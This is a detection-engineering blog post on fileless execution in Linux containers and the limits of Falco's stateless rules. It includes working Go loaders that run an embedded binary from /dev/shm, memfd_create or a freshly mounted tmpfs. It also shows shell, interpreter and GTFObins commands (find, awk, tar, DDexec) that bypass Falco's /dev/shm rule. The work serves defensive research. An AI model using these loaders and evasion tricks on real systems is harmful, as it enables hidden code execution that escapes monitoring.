Background

In containerized environments, in particular containers with read-only filesystems, process injection and in-memory execution techniques are used to execute fileless malware and infect victim systems. While providing an added layer of security, the ability to make a container’s filesystem read-only doesn’t fully protect against fileless attacks.

As a detection engineer, how can one identify fileless malware techniques in containerized environments?

Intro

This post demonstrates how to use Falco to detect techniques used by fileless malware, some of the limitations of Falco rules, and how we might leverage those limitations to avoid detection.

For those new to Falco, the description from their project page sums it up as:

… a cloud-native security tool. It provides near real-time threat detection for cloud, container, and Kubernetes workloads by leveraging runtime insights. Falco can monitor events from various sources, including the Linux kernel, and enrich them with metadata from the Kubernetes API server, container runtime, and more.

https://falco.org/docs/getting-started/

Fileless techniques

If you’re familiar with process injection and in-memory execution techniques skip ahead to the next section on Falco rules.

Let’s first generate a payload to embed in our Go programs. We’ll use a few different techniques to load this payload into memory.

package main

import (
	"fmt"
)

func main() {
	fmt.Println("Hello from payload")
}

vvx7@lima-falco-quickstart:/Users/vvx7$ go build -o payload.bin main.go 
vvx7@lima-falco-quickstart:/Users/vvx7$ file payload.bin 
payload.bin: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, Go BuildID=TNQ3O7MzLWtI6E_QCciI/F5At9a3x2NCEG1mfE7bB/YOv1v_fZ1K3BOWPpaSaf/xyzWOjNJwbG1IX0gSrgO, with debug_info, not stripped

Note that we’re using an aarch64 system. If you want to try this at home, be sure to change the syscall numbers to reflect your host architecture.

tmpfs

tmpfs (short for Temporary File System) is a temporary file storage paradigm implemented in many Unix-like operating systems. It is intended to appear as a mounted file system, but data is stored in volatile memory instead of a persistent storage device. A similar construction is a RAM disk, which appears as a virtual disk drive and hosts a disk file system. Fileless malware techniques include the execution of in-memory files which are files that exist in a virtual filesytem or anonymous file, but are not written to a non-volatile storage.

https://en.wikipedia.org/wiki/Tmpfs

Below is a Go program that will read an embedded binary, copy it to a tmpfs file in /dev/shm, and execute it. We’ll use this program to test one of our Falco rules later on.

package main

import (
	_ "embed"
	"log"
	"os"
	"os/exec"
	"syscall"
)

//go:embed payload.bin
var payload []byte

func main() {
	// Create a tmpfs file
	tmpFilePath := "/dev/shm/payload.bin"
	tmpFile, err := os.Create(tmpFilePath)
	if err != nil {
		log.Fatalf("Failed to create tmpfs file: %v", err)
	}

	// Make the tmpfs file executable
	if err := tmpFile.Chmod(0755); err != nil {
		log.Fatalf("Failed to set execute permission for tmpfs file: %v", err)
	}

	// Copy the payload to the tmpfs file
	if _, err := tmpFile.Write(payload); err != nil {
		log.Fatalf("Failed to write payload to tmpfs file: %v", err)
	}
	tmpFile.Close()

	// Execute the payload from tmpfs
	cmd := exec.Command(tmpFilePath)
	cmd.SysProcAttr = &syscall.SysProcAttr{
		Pdeathsig: syscall.SIGTERM,
	}
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	if err := cmd.Run(); err != nil {
		log.Fatalf("error while starting binary: %v", err)
	}
}

memfd_create

memfd_create() creates an anonymous file and returns a file descriptor that refers to it. The file behaves like a regular file, and so can be modified, truncated, memory-mapped, and so on. However, unlike a regular file, it lives in RAM and has a volatile backing storage. Once all references to the file are dropped, it is automatically released.

https://man7.org/linux/man-pages/man2/memfd_create.2.html

Here’s a Go program that will read an embedded binary, copy it to an anonymous file via memfd_create, and execute it. We’ll use this program to test one of our Falco rules later on.

package main

import (
	_ "embed"
	"log"
	"syscall"
	"unsafe"
)

const (
	memfdCreate = 279 // memfd_create syscall number for aarch64
	execveat    = 281 // execveat syscall number for aarch64
)

//go:embed payload.bin
var payload []byte

func main() {
	// Call memfd_create
	s, err := syscall.BytePtrFromString("/payload.bin")
	if err != nil {
		log.Fatalf("Failed to create file path pointer: %v", err)
	}
	fd, _, err := syscall.Syscall(memfdCreate, uintptr(unsafe.Pointer(s)), 0, 0)
	if int(fd) == -1 {
		log.Fatalf("Failed to create memfd: %v", err)
	}

	// Copy the payload to mem
	_, err = syscall.Write(int(fd), payload)
	if err != nil {
		log.Fatalf("Failed to write payload to memfd: %v", err)
	}

	// Execute the binary from the memfd
	s1, err := syscall.BytePtrFromString("")
	if err != nil {
		log.Fatalf("Failed to create empty string pointer: %v", err)
	}
	ret, _, err := syscall.Syscall6(execveat, fd, uintptr(unsafe.Pointer(s1)), 0, 0, 0x1000, 0)
	if int(ret) == -1 {
		log.Fatalf("Failed to execute binary: %v", err)
	}
}

Falco Rules

Falco rules are used to match event conditions, such as a process path or process arguments. The rules are stateless meaning that it’s not possible to natively correlate multiple events without the use of an external system, such as a SIEM. We’ll explore why that matters in the next section on avoiding detection.

Falco comes with a number of open-source rules which are available in their GitHub repository.

Let’s look at two of those rules in the following sections.

Detecting execution from /dev/shm

The rule description tells us everything we need to know about this rule.

- macro: spawned_process
  condition: (evt.type in (execve, execveat) and evt.dir=<)

- rule: Execution from /dev/shm
  desc: > 
    This rule detects file execution in the /dev/shm directory, a tactic often used by threat actors to store their readable, writable, and 
    occasionally executable files. /dev/shm acts as a link to the host or other containers, creating vulnerabilities for their compromise 
    as well. Notably, /dev/shm remains unchanged even after a container restart. Consider this rule alongside the newer 
    "Drop and execute new binary in container" rule.
  condition: >
    spawned_process 
    and (proc.exe startswith "/dev/shm/" or 
        (proc.cwd startswith "/dev/shm/" and proc.exe startswith "./" ) or 
        (shell_procs and proc.args startswith "-c /dev/shm") or 
        (shell_procs and proc.args startswith "-i /dev/shm") or 
        (shell_procs and proc.args startswith "/dev/shm") or 
        (proc.cwd startswith "/dev/shm/" and proc.args startswith "./" )) 
    and not container.image.repository in (falco_privileged_images, trusted_images)    
  output: File execution detected from /dev/shm (evt_res=%evt.res file=%fd.name proc_cwd=%proc.cwd proc_pcmdline=%proc.pcmdline user_loginname=%user.loginname group_gid=%group.gid group_name=%group.name evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
  priority: WARNING
  tags: [maturity_stable, host, container, mitre_execution, T1059.004]

Let’s run our tmpfs program from earlier and see how Falco reacts.

Apr 15 16:20:38 lima-falco-quickstart falco[41636]: 16:20:38.626372257: Warning File execution detected from /dev/shm (evt_res=SUCCESS file=<NA> proc_cwd=/Users/vvx7/ proc_pcmdline=tmpfs.bi
n user_loginname=vvx7 group_gid=1000 group_name=vvx7 evt_type=execve user=vvx7 user_uid=501 user_loginuid=501 process=payload.bin proc_exepath=/dev/shm/payload.bin parent=tmpfs.bin command=
payload.bin terminal=34817 exe_flags=EXE_WRITABLE container_id=host container_name=host)

Fileless execution via memfd_create

- macro: spawned_process
  condition: (evt.type in (execve, execveat) and evt.dir=<)

- list: known_memfd_execution_binaries
  items: []

- macro: known_memfd_execution_processes
  condition: (proc.name in (known_memfd_execution_binaries))

- rule: Fileless execution via memfd_create
  desc: >
    Detect if a binary is executed from memory using the memfd_create technique. This is a well-known defense evasion 
    technique for executing malware on a victim machine without storing the payload on disk and to avoid leaving traces 
    about what has been executed. Adopters can whitelist processes that may use fileless execution for benign purposes 
    by adding items to the list known_memfd_execution_processes.    
  condition: >
    spawned_process
    and proc.is_exe_from_memfd=true
    and not known_memfd_execution_processes    
  output: Fileless execution via memfd_create (container_start_ts=%container.start_ts proc_cwd=%proc.cwd evt_res=%evt.res proc_sname=%proc.sname gparent=%proc.aname[2] evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
  priority: CRITICAL
  tags: [maturity_stable, host, container, process, mitre_defense_evasion, T1620]

Let’s run the memfd program this time.

Apr 15 16:20:41 lima-falco-quickstart falco[41636]: 16:20:41.516307614: Critical Fileless execution via memfd_create (container_start_ts=<NA> proc_cwd=/Users/vvx7/ evt_res=SUCCESS proc_snam
e=bash gparent=sshd evt_type=execve user=vvx7 user_uid=501 user_loginuid=501 process=3 proc_exepath=/memfd:/payload.bin parent=bash command=3 terminal=34817 exe_flags=EXE_WRITABLE|EXE_FROM_
MEMFD container_id=host container_name=host)

Avoiding Detection

Brittle /dev/shm path matching

Something about the Execution from /dev/shm rule might stand out to you.

(shell_procs and proc.args startswith "-c /dev/shm") or 
(shell_procs and proc.args startswith "-i /dev/shm") or 
(shell_procs and proc.args startswith "/dev/shm")

These conditions assume the shell argument starts with an absolute path to a binary in /dev/shm. If we execute our payload using a shell and pass it a relative path then we can bypass this rule.

vvx7@lima-falco-quickstart:/Users/vvx7$ bash -c ../../../../../dev/shm/payload.bin
Hello from payload

Symlinks

If we use a symlink we can avoid the use of a relative path entirely.

vvx7@lima-falco-quickstart:/Users/vvx7$ ln -s /dev/shm /tmp/shm_link
vvx7@lima-falco-quickstart:/Users/vvx7$ /tmp/shm_link/payload.bin
Hello from payload

Inspect the syscalls and you’ll see exec is passed the symlink. Falco doesn’t resolve symlinks so it doesn’t know this is actually a spicy file.

vvx7@lima-falco-quickstart:/Users/vvx7$ strace /tmp/shm_link/payload.bin 2>&1 | grep exec
execve("/tmp/shm_link/payload.bin", ["/tmp/shm_link/payload.bin"], 0xffffee805640 /* 24 vars */) = 0

Shell Scripts

If we write the payload to a bash script in /dev/shm we can execute it indirectly via source. Bonus: since we’re using source the payload doesn’t need to be executable.

vvx7@lima-falco-quickstart:/Users/vvx7$ ls -la /dev/shm/script.sh
-rw-rw-r-- 1 vvx7 vvx7 46 Apr 16 15:31 /dev/shm/script.sh
vvx7@lima-falco-quickstart:/Users/vvx7$ source /dev/shm/script.sh
Hello from payload

…but we can execute the payload by calling it directly, too.

vvx7@lima-falco-quickstart:/Users/vvx7$ chmod +x /dev/shm/script.sh
vvx7@lima-falco-quickstart:/Users/vvx7$ /dev/shm/script.sh
Hello from payload

Intepreters

The same principle of indirect executions applies to interpreters as well!

vvx7@lima-falco-quickstart:/Users/vvx7$ python3 /dev/shm/script.py
hai from python :3

…or with the relative path or symlink.

vvx7@lima-falco-quickstart:/Users/vvx7$ python3 -c 'import os; os.system("../../dev/shm/payload.bin")'
Hello from payload
vvx7@lima-falco-quickstart:/Users/vvx7$ python3 -c 'import os; os.system("/tmp/shm_link/payload.bin")'
Hello from payload

GTFObins

We can apply some of the aforementioned tricks to GTFObins too.

find

vvx7@lima-falco-quickstart:/Users/vvx7$ find / -path /dev/shm/payload.bin -exec "../../{}" \; 2>/dev/null
Hello from payload

awk

vvx7@lima-falco-quickstart:/Users/vvx7$ awk 'BEGIN {system("../../dev/shm/payload.bin")}'
Hello from payload

tar

vvx7@lima-falco-quickstart:/Users/vvx7$ tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/dev/shm/payload.bin
tar: Removing leading `/' from member names
Hello from payload

…and all their friends too.

Mount a tmpfs filesystem

What if we forego using /dev/shm/ entirely?

If we’re already root on the container, we can just mount a tmpfs filesystem and load whatever we want. Our payload will still be executed in memory, and it won’t be detected by the Detecting execution from /dev/shm rule.

Here’s a script to do just that.

package main

import (
	_ "embed"
	"log"
	"os"
	"os/exec"
	"path/filepath"
	"syscall"
)

const (
	tmpfsMountPoint = "/mnt/payload"
)

//go:embed payload.bin
var payload []byte

func main() {
	// Create and mount a new tmpfs file system
	if err := os.MkdirAll(tmpfsMountPoint, 0755); err != nil {
		log.Fatalf("Failed to create mount point directory: %v", err)
	}
	if err := syscall.Mount("tmpfs", tmpfsMountPoint, "tmpfs", 0, ""); err != nil {
		log.Fatalf("Failed to mount tmpfs: %v", err)
	}
	defer syscall.Unmount(tmpfsMountPoint, 0)
	
	// Create a file in the new tmpfs
	tmpFilePath := filepath.Join(tmpfsMountPoint, "payload.bin")
	tmpFile, err := os.OpenFile(tmpFilePath, os.O_CREATE|os.O_RDWR|os.O_TRUNC, 0700)
	if err != nil {
		log.Fatalf("Failed to create tmpfs file: %v", err)
	}
	defer tmpFile.Close()

	// Write the payload to the tmpfs file
	if _, err := tmpFile.Write(payload); err != nil {
		log.Fatalf("Failed to write payload to tmpfs file: %v", err)
	}

	// Sync the file to ensure all data is written
	if err := tmpFile.Sync(); err != nil {
		log.Fatalf("Failed to sync tmpfs file: %v", err)
	}
	if err := tmpFile.Close(); err != nil {
		log.Fatalf("Failed to close tmpfs file: %v", err)
	}

	// Execute the payload from the tmpfs
	cmd := exec.Command(tmpFilePath)
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	if err := cmd.Run(); err != nil {
		log.Fatalf("Failed to execute binary: %v", err)
	}
}

DDexec

DDexec is a technique for loading shellcode or a binary into the memory space of a host process. It uses neither tmpfs nor memfd_create but instead initializes a process similar to how the kernel normally would.

None of the open-source Falco rules detect this technique, nor would Falco detect similar tools like memdlopen or memexec.

vvx7@lima-falco-quickstart:/Users/vvx7$ file payload.bin 
payload.bin: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, Go BuildID=TNQ3O7MzLWtI6E_QCciI/F5At9a3x2NCEG1mfE7bB/YOv1v_fZ1K3BOWPpaSaf/xyzWOjNJwbG1IX0gSrgO, with debug_info, not stripped
vvx7@lima-falco-quickstart:/Users/vvx7$ base64 -w0 ./payload.bin | bash ddexec.sh payload.bin
vvx7@lima-falco-quickstart:/Users/vvx7$ Hello from payload

memfd

I couldn’t break this rule in a day! :D

Given how the memfd_create syscall prefixes the memfd file with memfd:, and how Falco matches the file path on execution, there isn’t a clear opportunity to bypass this rule. Attempting to execute a memfd binary through a symlink won’t work because /proc/self/fd/<fd> isn’t a real file and a symlink to it is just a reference to the open file descriptor. For the same reason, calling exec.Run on the file descriptor won’t work either.

Limitations of stateless rules

Falco rules evaluate system behavior based on individual events. Without stateful awareness of events, rules lack the historical significance of each action. Falco rules are excellent at identifying specific actions, such as executing a process or opening a file, but their inability to correlate events over time limits them in detecting complex attack patterns that unfold incrementally. For example, a stateless rule may detect the mounting of a tmpfs filesystem but it doesn’t have a means of tracking whether a file has been executed from that mount point.

We should also consider that without stateful analysis rules may produce a higher rate of false positives, as rules cannot differentiate between events that are part of legitimate system behavior and those of genuine threats. For example, consider whether it would be appropriate to be alerted of every mounting of a tmpfs filesystem in your environment.

Luckily, Falco provides a number of outputs that enable us to send event data to an external solution capable of performing that correlation, such as a SIEM. In my opinion, this is not an ideal solution given the large volume of network traffic and storage required to correlate events. Some events in particular, such as resolving symlinks, should be pushed down to the Falco agent and thereby eliminate these bypasses for execution of in-memory files.

Mount a tmpfs filesystem

If we look at the Go program that mounts a tmpfs filesystem we see the expected call to mount, but no corresponding call to execve. This is a result of the usage of exec.Command which executed the command in a child process. We’d need to correlate this parent process creating a tmpfs filesystem with the child processes call to execve. Annoying. It’s something I’d rather see pushed down into the Falco agent than handled in a SIEM.

vvx7@lima-falco-quickstart:/Users/vvx7$ sudo strace ./tmpfs 2>&1 | grep -e "mount" -e "openat" -e "clone" -e "exec"
execve("./main", ["./main"], 0xffffdf1ee2d0 /* 17 vars */) = 0
openat(AT_FDCWD, "/sys/kernel/mm/transparent_hugepage/hpage_pmd_size", O_RDONLY) = 3
clone(child_stack=0x4000022000, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM) = 370073
clone(child_stack=0x4000058000, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM) = 370074
mount("tmpfs", "/mnt/payload", "tmpfs", 0, NULL) = 0
openat(AT_FDCWD, "/mnt/payload/payload.bin", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0700) = 3
openat(AT_FDCWD, "/dev/null", O_RDONLY|O_CLOEXEC) = 3
clone(child_stack=NULL, flags=CLONE_VM|CLONE_VFORK|SIGCHLD) = 370075
openat(AT_FDCWD, "/etc/localtime", O_RDONLY) = 3
write(2, "2024/04/16 19:37:19 Binary execu"..., 502024/04/16 19:37:19 Binary executed successfully.
umount2("/mnt/payload", 0)              = 0

DDexec

DDexec has a very brittle detection opportunity in that a write handle to "/proc/self/mem" stands out as an unusual thing to see. It’s trivially avoided by changing the DDexec script to use /proc/$$/mem" or similar.

vvx7@lima-falco-quickstart:/Users/vvx7$ base64 -w0 /tmp/exit_program1 | strace bash ddexec.sh exit_program1 2>&1 | grep "/proc/self"
read(255, "\nread syscall_info < /proc/self/"..., 8192) = 1125
openat(AT_FDCWD, "/proc/self/syscall", O_RDONLY) = 3
read(255, "exec 3>/proc/self/mem\n\n# Argumen"..., 8192) = 1013
openat(AT_FDCWD, "/proc/self/mem", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
openat(AT_FDCWD, "/proc/self/mem", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3

…but without correlation rules and a very careful review of DDexec behaviour, Falco won’t be able to reliably alert on this technique.

Summary

Falco’s ability to detect threats in cloud-native environments is showcased in its fileless malware rules. While detection opportunities are limited due to stateless rules, Falco still performs well on high-value atomic operations, such as a process executing from memfd. Unfortunately, for some rules, techniques as simple as relative path execution and symlinks are enough to bypass detection. For threat detection engineers and offensive security engineers alike, it’s important to take the time to understand the limitations of detection capabilities and plan accordingly.

Falco - Detecting Linux Fileless Malware Execution

Background

Intro

Fileless techniques

tmpfs

memfd_create

Falco Rules

Detecting execution from /dev/shm

Fileless execution via memfd_create

Avoiding Detection

Brittle /dev/shm path matching

Symlinks

Shell Scripts

Intepreters

GTFObins

Mount a tmpfs filesystem

DDexec

memfd

Limitations of stateless rules

Mount a tmpfs filesystem

DDexec

Summary